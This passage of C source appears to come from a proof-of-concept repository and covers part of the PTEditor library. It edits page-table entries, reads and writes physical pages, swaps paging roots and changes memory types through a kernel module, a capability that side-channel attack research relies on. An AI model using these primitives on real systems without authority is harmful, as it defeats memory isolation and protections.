PTEDIT_VALID_MASK_P4D) && ptedit_paging_definition.has_p4d) {\n        pset((size_t)ptedit_cast(current.pgd, ptedit_pgd_t).pfn * ptedit_pagesize + p4di * (ptedit_pagesize / (1 << ptedit_paging_definition.p4d_entries)), vm->p4d);\n    }\n    if ((vm->valid & PTEDIT_VALID_MASK_PGD) && (current.valid & PTEDIT_VALID_MASK_PGD) && ptedit_paging_definition.has_pgd) {\n        pset(root + pgdi * (ptedit_pagesize / (1 << ptedit_paging_definition.pgd_entries)), vm->pgd);\n    }\n\n    ptedit_invalidate_tlb(address);\n}\n\n// ---------------------------------------------------------------------------\nstatic void ptedit_update_user(void* address, pid_t pid, ptedit_entry_t* vm) {\n    ptedit_update_user_ext(address, pid, vm, ptedit_phys_write_pwrite);\n    ptedit_invalidate_tlb(address);\n}\n\n\n// ---------------------------------------------------------------------------\nstatic void ptedit_update_user_map(void* address, pid_t pid, ptedit_entry_t* vm) {\n    ptedit_update_user_ext(address, pid, vm, ptedit_phys_write_map);\n    ptedit_invalidate_tlb(address);\n}\n\n// ---------------------------------------------------------------------------\nvoid* ptedit_pmap(size_t physical, size_t length) {\n#if defined(LINUX)\n    char* m = (char*)mmap(0, length + (physical % ptedit_pagesize), PROT_READ | PROT_WRITE, MAP_SHARED, ptedit_umem, ((size_t)(physical / ptedit_pagesize)) * ptedit_pagesize);\n    return m + (physical % ptedit_pagesize);\n#else\n    NO_WINDOWS_SUPPORT;\n    return NULL;\n#endif\n}\n\n// ---------------------------------------------------------------------------\nsize_t ptedit_set_pfn(size_t pte, size_t pfn) {\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n    pte &= ~(((1ull << 40) - 1) << 12);\n#elif defined(__aarch64__)\n    pte &= ~(((1ull << 36) - 1) << 12);\n#endif\n    pte |= pfn << 12;\n    return pte;\n}\n\n\n// ---------------------------------------------------------------------------\nsize_t ptedit_get_pfn(size_t pte) {\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n    return (pte & (((1ull << 40) - 1) << 12)) >> 12;\n#elif defined(__aarch64__)\n    return (pte & (((1ull << 36) - 1) << 12)) >> 12;\n#endif\n}\n\n\n// ---------------------------------------------------------------------------\n#define PTEDIT_B(val, bit) (!!((val) & (1ull << (bit))))\n\n#define PEDIT_PRINT_B(fmt, bit)                                                \\\n  if ((bit)) {                                                                 \\\n    printf(PTEDIT_COLOR_GREEN);                                                       \\\n    printf((fmt), (bit));                                                      \\\n    printf(PTEDIT_COLOR_RESET);                                                       \\\n  } else {                                                                     \\\n    printf((fmt), (bit));                                                      \\\n  }                                                                            \\\n  printf(\"|\");\n\n\n// ---------------------------------------------------------------------------\nvoid ptedit_print_entry_line(size_t entry, int line) {\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n    if (line == 0 || line == 3) printf(\"+--+------------------+-+-+-+-+-+-+-+-+--+--+-+-+-+\\n\");\n    if (line == 1) printf(\"|NX|       PFN        |H|?|?|?|G|S|D|A|UC|WT|U|W|P|\\n\");\n    if (line == 2) {\n        printf(\"|\");\n        PEDIT_PRINT_B(\" %d\", PTEDIT_B(entry, PTEDIT_PAGE_BIT_NX));\n        printf(\" %16p |\", (void*)((entry >> 12) & ((1ull << 40) - 1)));\n        PEDIT_PRINT_B(\"%d\", PTEDIT_B(entry, PTEDIT_PAGE_BIT_PAT_LARGE));\n        PEDIT_PRINT_B(\"%d\", PTEDIT_B(entry, PTEDIT_PAGE_BIT_SOFTW3));\n        PEDIT_PRINT_B(\"%d\", PTEDIT_B(entry, PTEDIT_PAGE_BIT_SOFTW2));\n        PEDIT_PRINT_B(\"%d\", PTEDIT_B(entry, PTEDIT_PAGE_BIT_SOFTW1));\n        PEDIT_PRINT_B(\"%d\", PTEDIT_B(entry, PTEDIT_PAGE_BIT_GLOBAL));\n        PEDIT_PRINT_B(\"%d\", PTEDIT_B(entry, PTEDIT_PAGE_BIT_PSE));\n        PEDIT_PRINT_B(\"%d\", PTEDIT_B(entry, PTEDIT_PAGE_BIT_DIRTY));\n        PEDIT_PRINT_B(\"%d\", PTEDIT_B(entry, PTEDIT_PAGE_BIT_ACCESSED));\n        PEDIT_PRINT_B(\" %d\", PTEDIT_B(entry, PTEDIT_PAGE_BIT_PCD));\n        PEDIT_PRINT_B(\" %d\", PTEDIT_B(entry, PTEDIT_PAGE_BIT_PWT));\n        PEDIT_PRINT_B(\"%d\", PTEDIT_B(entry, PTEDIT_PAGE_BIT_USER));\n        PEDIT_PRINT_B(\"%d\", PTEDIT_B(entry, PTEDIT_PAGE_BIT_RW));\n        PEDIT_PRINT_B(\"%d\", PTEDIT_B(entry, PTEDIT_PAGE_BIT_PRESENT));\n        printf(\"\\n\");\n    }\n#elif defined(__aarch64__)\n    if (line == 0 || line == 3) {\n        printf(\"+--+--+--+---+-+--+------------------+--+-+-+-+--+---+-+\\n\");\n    }\n    if (line == 1) {\n        printf(\"| ?| ?|XN|PXN|C| ?|        PFN       |NG|A|S|P|NS|MAI|T|\\n\");\n    }\n    if (line == 2) {\n        printf(\"|\");\n        PEDIT_PRINT_B(\"%2d\", (PTEDIT_B(entry, 63) << 4) | (PTEDIT_B(entry, 62) << 3) | (PTEDIT_B(entry, 61) << 2) | (PTEDIT_B(entry, 60) << 1) | PTEDIT_B(entry, 59));\n        PEDIT_PRINT_B(\"%2d\", (PTEDIT_B(entry, 58) << 3) | (PTEDIT_B(entry, 57) << 2) | (PTEDIT_B(entry, 56) << 1) | PTEDIT_B(entry, 55));\n        PEDIT_PRINT_B(\" %d\", PTEDIT_B(entry, 54));\n        PEDIT_PRINT_B(\" %d \", PTEDIT_B(entry, 53));\n        PEDIT_PRINT_B(\"%d\", PTEDIT_B(entry, 52));\n        PEDIT_PRINT_B(\"%2d\", (PTEDIT_B(entry, 51) << 3) | (PTEDIT_B(entry, 50) << 2) | (PTEDIT_B(entry, 49) << 1) | PTEDIT_B(entry, 48));\n        printf(\" %16p |\", (void*)((entry >> 12) & ((1ull << 36) - 1)));\n        PEDIT_PRINT_B(\" %d\", PTEDIT_B(entry, 11));\n        PEDIT_PRINT_B(\"%d\", PTEDIT_B(entry, 10));\n        PEDIT_PRINT_B(\"%d\", (PTEDIT_B(entry, 9) << 1) | PTEDIT_B(entry, 8));\n        PEDIT_PRINT_B(\"%d\", (PTEDIT_B(entry, 7) << 1) | PTEDIT_B(entry, 6));\n        PEDIT_PRINT_B(\" %d\", PTEDIT_B(entry, 5));\n        PEDIT_PRINT_B(\" %d \", (PTEDIT_B(entry, 4) << 2) | (PTEDIT_B(entry, 3) << 1) | PTEDIT_B(entry, 2));\n        PEDIT_PRINT_B(\"%d\", (PTEDIT_B(entry, 1) << 1) | PTEDIT_B(entry, 0));\n        printf(\"\\n\");\n    }\n#endif\n}\n\n\n// ---------------------------------------------------------------------------\nvoid ptedit_print_entry(size_t entry) {\n    int i = 0;\n    for (i = 0; i < 4; i++) {\n        ptedit_print_entry_line(entry, i);\n    }\n}\n\n// ---------------------------------------------------------------------------\nvoid ptedit_print_entry_t(ptedit_entry_t entry) {\n    if (entry.valid & PTEDIT_VALID_MASK_PGD) {\n        printf(\"PGD of address\\n\");\n        ptedit_print_entry(entry.pgd);\n    }\n    if (entry.valid & PTEDIT_VALID_MASK_P4D) {\n        printf(\"P4D of address\\n\");\n        ptedit_print_entry(entry.p4d);\n    }\n    if (entry.valid & PTEDIT_VALID_MASK_PUD) {\n        printf(\"PUD of address\\n\");\n        ptedit_print_entry(entry.pud);\n    }\n    if (entry.valid & PTEDIT_VALID_MASK_PMD) {\n        printf(\"PMD of address\\n\");\n        ptedit_print_entry(entry.pmd);\n    }\n    if (entry.valid & PTEDIT_VALID_MASK_PTE) {\n        printf(\"PTE of address\\n\");\n        ptedit_print_entry(entry.pte);\n    }\n}\n\n// ---------------------------------------------------------------------------\nint ptedit_init() {\n#if defined(LINUX)\n    ptedit_fd = open(PTEDITOR_DEVICE_PATH, O_RDONLY);\n    if (ptedit_fd < 0) {\n        fprintf(stderr, PTEDIT_COLOR_RED \"[-]\" PTEDIT_COLOR_RESET \"Error: Could not open PTEditor device: %s\\n\", PTEDITOR_DEVICE_PATH);\n        return -1;\n    }\n    ptedit_umem = open(\"/proc/umem\", O_RDWR);\n#else\n    ptedit_fd = CreateFile(PTEDITOR_DEVICE_PATH, GENERIC_ALL, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_SYSTEM, 0);\n    if (ptedit_fd == INVALID_HANDLE_VALUE) {\n        fprintf(stderr, PTEDIT_COLOR_RED \"[-]\" PTEDIT_COLOR_RESET \"Error: Could not open PTEditor device: %ws\\n\", PTEDITOR_DEVICE_PATH);\n        return -1;\n    }\n    ptedit_umem = 0;\n#endif\n#if defined(LINUX)\n    ptedit_use_implementation(PTEDIT_IMPL_KERNEL);\n#elif defined(WINDOWS)\n    ptedit_use_implementation(PTEDIT_IMPL_USER_PREAD);\n#endif\n    //   }\n#if defined(LINUX)\n    ptedit_pagesize = getpagesize();\n#else\n    ptedit_pagesize = ptedit_get_pagesize();\n#endif\n\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n    ptedit_paging_definition.has_pgd = 1;\n    ptedit_paging_definition.has_p4d = 0;\n    ptedit_paging_definition.has_pud = 1;\n    ptedit_paging_definition.has_pmd = 1;\n    ptedit_paging_definition.has_pt = 1;\n    ptedit_paging_definition.pgd_entries = 9;\n    ptedit_paging_definition.p4d_entries = 0;\n    ptedit_paging_definition.pud_entries = 9;\n    ptedit_paging_definition.pmd_entries = 9;\n    ptedit_paging_definition.pt_entries = 9;\n    ptedit_paging_definition.page_offset = 12;\n#elif defined(__aarch64__)\n    ptedit_paging_definition.has_pgd = 1;\n    ptedit_paging_definition.has_p4d = 0;\n    ptedit_paging_definition.has_pud = 0;\n    ptedit_paging_definition.has_pmd = 1;\n    ptedit_paging_definition.has_pt = 1;\n    ptedit_paging_definition.pgd_entries = 9;\n    ptedit_paging_definition.p4d_entries = 0;\n    ptedit_paging_definition.pud_entries = 0;\n    ptedit_paging_definition.pmd_entries = 9;\n    ptedit_paging_definition.pt_entries = 9;\n    ptedit_paging_definition.page_offset = 12;\n#endif\n    return 0;\n}\n\n\n// ---------------------------------------------------------------------------\nvoid ptedit_cleanup() {\n#if defined(LINUX)\n    if (ptedit_fd >= 0) {\n        close(ptedit_fd);\n    }\n    if (ptedit_umem > 0) {\n        close(ptedit_umem);\n    }\n#else\n    CloseHandle(ptedit_fd);\n#endif\n}\n\n\n// ---------------------------------------------------------------------------\nvoid ptedit_use_implementation(int implementation) {\n    if (implementation == PTEDIT_IMPL_KERNEL) {\n#if defined(LINUX)\n        ptedit_resolve = ptedit_resolve_kernel;\n        ptedit_update = ptedit_update_kernel;\n#else\n        fprintf(stderr, PTEDIT_COLOR_RED \"[-]\" PTEDIT_COLOR_RESET \"Error: PTEditor implementation not supported on Windows\");\n#endif\n    }\n    else if (implementation == PTEDIT_IMPL_USER_PREAD) {\n        ptedit_resolve = ptedit_resolve_user;\n        ptedit_update = ptedit_update_user;\n        ptedit_paging_root = ptedit_get_paging_root(0);\n    }\n    else if (implementation == PTEDIT_IMPL_USER) {\n#if defined(LINUX)\n        ptedit_resolve = ptedit_resolve_user_map;\n        ptedit_update = ptedit_update_user_map;\n        ptedit_paging_root = ptedit_get_paging_root(0);\n        if (!ptedit_vmem) {\n            ptedit_vmem = (unsigned char*)mmap(NULL, 32ull << 30ull, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_NORESERVE, ptedit_umem, 0);\n            fprintf(stderr, PTEDIT_COLOR_GREEN \"[+]\" PTEDIT_COLOR_RESET \" Mapped physical memory to %p\\n\", ptedit_vmem);\n        }\n#else\n        fprintf(stderr, PTEDIT_COLOR_RED \"[-]\" PTEDIT_COLOR_RESET \"Error: PTEditor implementation not supported on Windows\");\n#endif\n    }\n    else {\n        fprintf(stderr, PTEDIT_COLOR_RED \"[-]\" PTEDIT_COLOR_RESET \" Error: PTEditor implementation not supported!\\n\");\n    }\n}\n\n\n// ---------------------------------------------------------------------------\nint ptedit_get_pagesize() {\n#if defined(LINUX)\n    return (int)ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_GET_PAGESIZE, 0);\n#else\n    SYSTEM_INFO sysinfo;\n    GetSystemInfo(&sysinfo);\n    return sysinfo.dwPageSize;\n#endif\n}\n\n\n// ---------------------------------------------------------------------------\nvoid ptedit_read_physical_page(size_t pfn, char* buffer) {\n#if defined(LINUX)\n    if (ptedit_umem > 0) {\n        if (pread(ptedit_umem, buffer, ptedit_pagesize, pfn * ptedit_pagesize) == -1) {\n          return;\n        }\n    }\n    else {\n        ptedit_page_t page;\n        page.buffer = (unsigned char*)buffer;\n        page.pfn = pfn;\n        ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_READ_PAGE, (size_t)&page);\n    }\n#else\n    DWORD returnLength;\n    pfn *= ptedit_pagesize;\n    DeviceIoControl(ptedit_fd, PTEDITOR_READ_PAGE, (LPVOID)&pfn, sizeof(pfn), (LPVOID)buffer, 4096, &returnLength, 0);\n#endif\n}\n\n\n// ---------------------------------------------------------------------------\nvoid ptedit_write_physical_page(size_t pfn, char* content) {\n#if defined(LINUX)\n    if (ptedit_umem > 0) {\n        if (pwrite(ptedit_umem, content, ptedit_pagesize, pfn * ptedit_pagesize) == -1) {\n          return;\n        }\n    }\n    else {\n        ptedit_page_t page;\n        page.buffer = (unsigned char*)content;\n        page.pfn = pfn;\n        ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_WRITE_PAGE, (size_t)&page);\n    }\n#else\n    DWORD returnLength;\n    ptedit_page_t page;\n    if (ptedit_pagesize != 4096) {\n        fprintf(stderr, PTEDIT_COLOR_RED \"[-]\" PTEDIT_COLOR_RESET \"Error: page sizes other than 4096 not supported on Windows\");\n        return;\n    }\n    page.paddr = pfn * ptedit_pagesize;\n    memcpy(page.content, content, ptedit_pagesize);\n    DeviceIoControl(ptedit_fd, PTEDITOR_WRITE_PAGE, (LPVOID)&page, sizeof(ptedit_page_t), (LPVOID)&page, sizeof(ptedit_page_t), &returnLength, 0);\n#endif\n}\n\n\n// ---------------------------------------------------------------------------\nsize_t ptedit_get_paging_root(pid_t pid) {\n#if defined(LINUX)\n    ptedit_paging_t cr3;\n    cr3.pid = (size_t)pid;\n    cr3.root = 0;\n    ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_GET_ROOT, (size_t)&cr3);\n    return cr3.root;\n#else\n    size_t cr3 = 0;\n    DWORD returnLength;\n    if(!pid) pid = GetCurrentProcessId();\n    DeviceIoControl(ptedit_fd, PTEDITOR_GET_CR3, (LPVOID)&pid, sizeof(pid), (LPVOID)&cr3, sizeof(cr3), &returnLength, 0);\n    return (cr3 & ~0xfff);\n#endif\n}\n\n\n// ---------------------------------------------------------------------------\nvoid ptedit_set_paging_root(pid_t pid, size_t root) {\n    ptedit_paging_t cr3;\n    cr3.pid = (size_t)pid;\n    cr3.root = root; \n#if defined(LINUX)\n    ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_SET_ROOT, (size_t)&cr3);\n#else\n    DWORD returnLength;\n    if (!pid) pid = GetCurrentProcessId();\n    size_t info[2];\n    info[0] = pid;\n    info[1] = root;\n    DeviceIoControl(ptedit_fd, PTEDITOR_SET_CR3, (LPVOID)info, sizeof(info), (LPVOID)info, sizeof(info), &returnLength, 0);\n#endif\n}\n\n\n// ---------------------------------------------------------------------------\nvoid ptedit_invalidate_tlb(void* address) {\n#if defined(LINUX)\n    ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_INVALIDATE_TLB, (size_t)address);\n#else\n    size_t vaddr = (size_t)address;\n    DWORD returnLength;\n    DeviceIoControl(ptedit_fd, PTEDITOR_FLUSH_TLB, (LPVOID)&vaddr, sizeof(vaddr), (LPVOID)&vaddr, sizeof(vaddr), &returnLength, 0);\n#endif\n}\n\n// ---------------------------------------------------------------------------\nint ptedit_switch_tlb_invalidation(int implementation) {\n#if defined(LINUX)\n    return (int) ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_SWITCH_TLB_INVALIDATION, (size_t) implementation);\n#else\n    NO_WINDOWS_SUPPORT\n#endif\n}\n\n\n// ---------------------------------------------------------------------------\nsize_t ptedit_get_mts() {\n    size_t mt = 0;\n#if defined(LINUX)\n    ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_GET_PAT, (size_t)&mt);\n#else\n    DWORD returnLength;\n    DeviceIoControl(ptedit_fd, PTEDITOR_GET_PAT, (LPVOID)&mt, sizeof(mt), (LPVOID)&mt, sizeof(mt), &returnLength, 0);\n#endif\n    return mt;\n}\n\n\n// ---------------------------------------------------------------------------\nchar ptedit_get_mt(unsigned char mt) {\n    size_t mts = ptedit_get_mts();\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n    return ((mts >> (mt * 8)) & 7);\n#elif defined(__aarch64__)\n    return ((mts >> (mt * 8)) & 0xff);\n#endif\n}\n\n\n// ---------------------------------------------------------------------------\nconst char* ptedit_mt_to_string(unsigned char mt) {\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n    const char* mts[] = { \"UC\", \"WC\", \"Rsvd\", \"Rsvd\", \"WT\", \"WP\", \"WB\", \"UC-\", \"Rsvd\" };\n    if (mt <= 7) return mts[mt];\n    return NULL;\n#elif defined(__aarch64__)\n    static char mts[16];\n    int i;\n    mts[0] = 0;\n    for (i = 0; i < 2; i++) {\n        strcat(mts, i == 0 ? \"I\" : \"O\");\n        if ((mt & 0xf) == ((mt >> 4) & 0xf)) strcpy(mts, \"\");\n        switch ((mt >> (i * 4)) & 0xf) {\n        case 0:\n            strcat(mts, \"DM\");\n            break;\n        case 1: /* Fall through */\n        case 2: /* Fall through */\n        case 3:\n            strcat(mts, \"WT\");\n            break;\n        case 4:\n            strcat(mts, \"UC\");\n            break;\n        case 5: /* Fall through */\n        case 6: /* Fall through */\n        case 7:\n            strcat(mts, \"WB\");\n            break;\n        case 8: /* Fall through */\n        case 9: /* Fall through */\n        case 10: /* Fall through */\n        case 11:\n            strcat(mts, \"WT\");\n            break;\n        case 12: /* Fall through */\n        case 13: /* Fall through */\n        case 14: /* Fall through */\n        case 15:\n            strcat(mts, \"WB\");\n        }\n    }\n    return mts;\n#endif\n}\n\n\n// ---------------------------------------------------------------------------\nvoid ptedit_set_mts(size_t mts) {\n#if defined(LINUX)\n    ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_SET_PAT, mts);\n#else\n    DWORD returnLength;\n    DeviceIoControl(ptedit_fd, PTEDITOR_GET_PAT, (LPVOID)&mts, sizeof(mts), (LPVOID)&mts, sizeof(mts), &returnLength, 0);\n#endif\n}\n\n\n// ---------------------------------------------------------------------------\nvoid ptedit_set_mt(unsigned char mt, unsigned char value) {\n    size_t mts = ptedit_get_mts();\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n    mts &= ~(7 << (mt * 8));\n#elif defined(__aarch64__)\n    mts &= ~(0xff << (mt * 8));\n#endif\n    mts |= ((size_t)value << (mt * 8));\n    ptedit_set_mts(mts);\n}\n\n\n// ---------------------------------------------------------------------------\nunsigned char ptedit_find_mt(unsigned char type) {\n    size_t mts = ptedit_get_mts();\n    unsigned char found = 0;\n    int i;\n    for (i = 0; i < 8; i++) {\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n        if (((mts >> (i * 8)) & 7) == type) found |= (1 << i);\n#elif defined(__aarch64__)\n        if (((mts >> (i * 8)) & 0xff) == type) {\n            found |= (1 << i);\n        }\n        else {\n            unsigned char plow, phigh;\n            plow = (mts >> (i * 8)) & 0xf;\n            phigh = ((mts >> (i * 8)) >> 4) & 0xf;\n            if ((plow == phigh) && (plow == type)) {\n                found |= (1 << i);\n            }\n        }\n#endif\n    }\n    return found;\n}\n\n\n// ---------------------------------------------------------------------------\nint ptedit_find_first_mt(unsigned char type) {\n#if defined(LINUX)\n    return __builtin_ffs(ptedit_find_mt(type)) - 1;\n#else\n    DWORD index = 0;\n    if (BitScanForward64(&index, ptedit_find_mt(type))) {\n        return index;\n    }\n    else {\n        return -1;\n    }\n#endif\n}\n\n\n// ---------------------------------------------------------------------------\nsize_t ptedit_apply_mt(size_t entry, unsigned char mt) {\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n    entry &= ~((1ull << PTEDIT_PAGE_BIT_PWT) | (1ull << PTEDIT_PAGE_BIT_PCD) | (1ull << PTEDIT_PAGE_BIT_PAT));\n    if (mt & 1) entry |= (1ull << PTEDIT_PAGE_BIT_PWT);\n    if (mt & 2) entry |= (1ull << PTEDIT_PAGE_BIT_PCD);\n    if (mt & 4) entry |= (1ull << PTEDIT_PAGE_BIT_PAT);\n#elif defined(__aarch64__)\n    entry &= ~0x1c;\n    entry |= (mt & 7) << 2;\n#endif\n    return entry;\n}\n\n// ---------------------------------------------------------------------------\nunsigned char ptedit_extract_mt(size_t entry) {\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n    return (!!(entry & (1ull << PTEDIT_PAGE_BIT_PWT))) | ((!!(entry & (1ull << PTEDIT_PAGE_BIT_PCD))) << 1) | ((!!(entry & (1ull << PTEDIT_PAGE_BIT_PAT))) << 2);\n#elif defined(__aarch64__)\n    return (entry >> 2) & 7;\n#endif\n}\n\n// ---------------------------------------------------------------------------\nvoid ptedit_full_serializing_barrier() {\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n#if defined(LINUX)\n    asm volatile(\"mfence\\nlfence\\n\" ::: \"memory\");\n#else\n    MemoryBarrier();\n#endif\n#elif defined(__aarch64__)\n    asm volatile(\"DSB SY\");\n    asm volatile(\"DSB ISH\");\n    asm volatile(\"ISB\");\n#endif\n    ptedit_set_paging_root(0, ptedit_get_paging_root(0));\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n#if defined(LINUX)\n    asm volatile(\"mfence\\nlfence\\n\" ::: \"memory\");\n#else \n    MemoryBarrier();\n#endif\n#elif defined(__aarch64__)\n    asm volatile(\"ISB\");\n    asm volatile(\"DSB ISH\");\n    asm volatile(\"DSB SY\");\n#endif\n}\n\n\n// ---------------------------------------------------------------------------\nvoid ptedit_pte_set_bit(void* address, pid_t pid, int bit) {\n    ptedit_entry_t vm = ptedit_resolve(address, pid);\n    if (!(vm.valid & PTEDIT_VALID_MASK_PTE)) return;\n    vm.pte |= (1ull << bit);\n    vm.valid = PTEDIT_VALID_MASK_PTE;\n    ptedit_update(address, pid, &vm);\n}\n\n// ---------------------------------------------------------------------------\nvoid ptedit_pte_clear_bit(void* address, pid_t pid, int bit) {\n    ptedit_entry_t vm = ptedit_resolve(address, pid);\n    if (!(vm.valid & PTEDIT_VALID_MASK_PTE)) return;\n    vm.pte &= ~(1ull << bit);\n    vm.valid = PTEDIT_VALID_MASK_PTE;\n    ptedit_update(address, pid, &vm);\n}\n\n// ---------------------------------------------------------------------------\nunsigned char ptedit_pte_get_bit(void* address, pid_t pid, int bit) {\n    ptedit_entry_t vm = ptedit_resolve(address, pid);\n    return !!(vm.pte & (1ull << bit));\n}\n\n// ---------------------------------------------------------------------------\nsize_t ptedit_pte_get_pfn(void* address, pid_t pid) {\n    ptedit_entry_t vm = ptedit_resolve(address, pid);\n    if (!(vm.valid & PTEDIT_VALID_MASK_PTE)) return 0;\n    else return ptedit_get_pfn(vm.pte);\n}\n\n// ---------------------------------------------------------------------------\nvoid ptedit_pte_set_pfn(void* address, pid_t pid, size_t pfn) {\n    ptedit_entry_t vm = ptedit_resolve(address, pid);\n    if (!(vm.valid & PTEDIT_VALID_MASK_PTE)) return;\n    vm.pte = ptedit_set_pfn(vm.pte, pfn);\n    vm.valid = PTEDIT_VALID_MASK_PTE;\n    ptedit_update(address, pid, &vm);\n}\n"
  },
  {
    "path": "pocs/libpte/ptedit.h",
    "content": "/** @file */\n\n#ifndef _PTEDITOR_H_\n#define _PTEDITOR_H_\n\n#include \"module/pteditor.h\"\n#include <sys/types.h>\n\n#if defined(WINDOWS)\ntypedef size_t pid_t;\n#endif\n\n/**\n * The implementation of PTEditor to use\n *\n * @defgroup PTEDITOR_IMPLEMENTATION PTEditor Implementation\n *\n * @{\n */\n\n /** Use the kernel to resolve and update paging structures */\n#define PTEDIT_IMPL_KERNEL       0\n/** Use the user-space implemenation to resolve and update paging structures, using pread to read from the memory mapping */\n#define PTEDIT_IMPL_USER_PREAD   1\n/** Use the user-space implemenation that maps the physical memory into user space to resolve and update paging structures */\n#define PTEDIT_IMPL_USER         2\n\n/**\n * The bits in a page-table entry\n *\n * @defgroup PAGETABLE_BITS Page Table Bits\n *\n * @{\n *\n */\n\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n\n /** Page is present */\n#define PTEDIT_PAGE_BIT_PRESENT 0\n/** Page is writeable */\n#define PTEDIT_PAGE_BIT_RW 1\n/** Page is userspace addressable */\n#define PTEDIT_PAGE_BIT_USER 2\n/** Page write through */\n#define PTEDIT_PAGE_BIT_PWT 3\n/** Page cache disabled */\n#define PTEDIT_PAGE_BIT_PCD 4\n/** Page was accessed (raised by CPU) */\n#define PTEDIT_PAGE_BIT_ACCESSED 5\n/** Page was written to (raised by CPU) */\n#define PTEDIT_PAGE_BIT_DIRTY 6\n/** 4 MB (or 2MB) page */\n#define PTEDIT_PAGE_BIT_PSE 7\n/** PAT (only on 4KB pages) */\n#define PTEDIT_PAGE_BIT_PAT 7\n/** Global TLB entry PPro+ */\n#define PTEDIT_PAGE_BIT_GLOBAL 8\n/** Available for programmer */\n#define PTEDIT_PAGE_BIT_SOFTW1 9\n/** Available for programmer */\n#define PTEDIT_PAGE_BIT_SOFTW2 10\n/** Available for programmer */\n#define PTEDIT_PAGE_BIT_SOFTW3 11\n/** PAT (on 2MB or 1GB pages) */\n#define PTEDIT_PAGE_BIT_PAT_LARGE 12\n/** Available for programmer */\n#define PTEDIT_PAGE_BIT_SOFTW4 58\n/** Protection Keys, bit 1/4 */\n#define PTEDIT_PAGE_BIT_PKEY_BIT0 59\n/** Protection Keys, bit 2/4 */\n#define PTEDIT_PAGE_BIT_PKEY_BIT1 60\n/** Protection Keys, bit 3/4 */\n#define PTEDIT_PAGE_BIT_PKEY_BIT2 61\n/** Protection Keys, bit 4/4 */\n#define PTEDIT_PAGE_BIT_PKEY_BIT3 62\n/** No execute: only valid after cpuid check */\n#define PTEDIT_PAGE_BIT_NX 63\n\n#elif defined(__aarch64__)\n\n /** Entry type 1/2 */\n#define PTEDIT_PAGE_BIT_TYPE_BIT0 0\n/** Entry type 1/2 */\n#define PTEDIT_PAGE_BIT_TYPE_BIT1 1\n/** Memory attribute index 1/3 */\n#define PTEDIT_PAGE_BIT_MAIR_BIT0 2\n/** Memory attribute index 2/3 */\n#define PTEDIT_PAGE_BIT_MAIR_BIT1 3\n/** Memory attribute index 3/3 */\n#define PTEDIT_PAGE_BIT_MAIR_BIT2 4\n/** Page is non-secure */\n#define PTEDIT_PAGE_BIT_NON_SECURE 5\n/** Page permissions 1/2 */\n#define PTEDIT_PAGE_BIT_PERMISSION_BIT0 6\n/** Page permissions 2/2 */\n#define PTEDIT_PAGE_BIT_PERMISSION_BIT1 7\n/** Shareability domain 1/2 */\n#define PTEDIT_PAGE_BIT_SHARE_BIT0 8\n/** Shareability domain 2/2 */\n#define PTEDIT_PAGE_BIT_SHARE_BIT1 9\n/** Page was accessed (raised by CPU) */\n#define PTEDIT_PAGE_BIT_ACCESSED 10\n/** Page is not global */\n#define PTEDIT_PAGE_BIT_NOT_GLOBAL 11\n/** Contiguous */\n#define PTEDIT_PAGE_BIT_CONTIGUOUS 52\n/** Privileged execute never */\n#define PTEDIT_PAGE_BIT_PXN 53\n/** Execute never */\n#define PTEDIT_PAGE_BIT_XN 54\n/** Available for programmer */\n#define PTEDIT_PAGE_BIT_SOFTW1 55\n/** Available for programmer */\n#define PTEDIT_PAGE_BIT_SOFTW2 56\n/** Available for programmer */\n#define PTEDIT_PAGE_BIT_SOFTW3 57\n/** Available for programmer */\n#define PTEDIT_PAGE_BIT_SOFTW4 58\n/** Available for programmer */\n#define PTEDIT_PAGE_BIT_SOFTW5 59\n/** Available for programmer */\n#define PTEDIT_PAGE_BIT_SOFTW6 60\n/** Available for programmer */\n#define PTEDIT_PAGE_BIT_SOFTW7 61\n/** Available for programmer */\n#define PTEDIT_PAGE_BIT_SOFTW8 62\n/** Available for programmer */\n#define PTEDIT_PAGE_BIT_SOFTW9 63\n\n#endif\n/** @} */\n\n/**\n * The memory types (PAT/MAIR)values\n *\n * @defgroup MEMORY_TYPES Memory Types (PAT/MAIR values)\n *\n * @{\n */\n#if defined(__i386__) || defined(__x86_64__) || defined(_WIN64)\n\n /** Strong uncachable (nothing is cached) */\n#define PTEDIT_MT_UC      0\n/** Write combining (consecuite writes are combined in a WC buffer and then written once) */\n#define PTEDIT_MT_WC      1\n/** Write through (read accesses are cached, write access are written to cache and memory) */\n#define PTEDIT_MT_WT      4\n/** Write protected (only read access is cached) */\n#define PTEDIT_MT_WP      5\n/** Write back (read and write accesses are cached) */\n#define PTEDIT_MT_WB      6\n/** Uncachable (as UC, but can be changed to WC through MTRRs) */\n#define PTEDIT_MT_UCMINUS 7\n\n#elif defined(__aarch64__)\n\n /** Strong uncachable (nothing is cached) */\n#define PTEDIT_MT_UC      0x44\n/** Write through (read accesses are cached, write access are written to cache and memory) */\n#define PTEDIT_MT_WT      0xbb\n/** Write back (read and write accesses are cached) */\n#define PTEDIT_MT_WB      0xff\n\n#endif\n/** @} */\n\n\n/**\n * Basic functionality required in every program\n *\n * @defgroup BASIC Basic Functionality\n *\n * @{\n */\n\n /**\n  * Initializes (and acquires) PTEditor kernel module\n  *\n  * @return 0 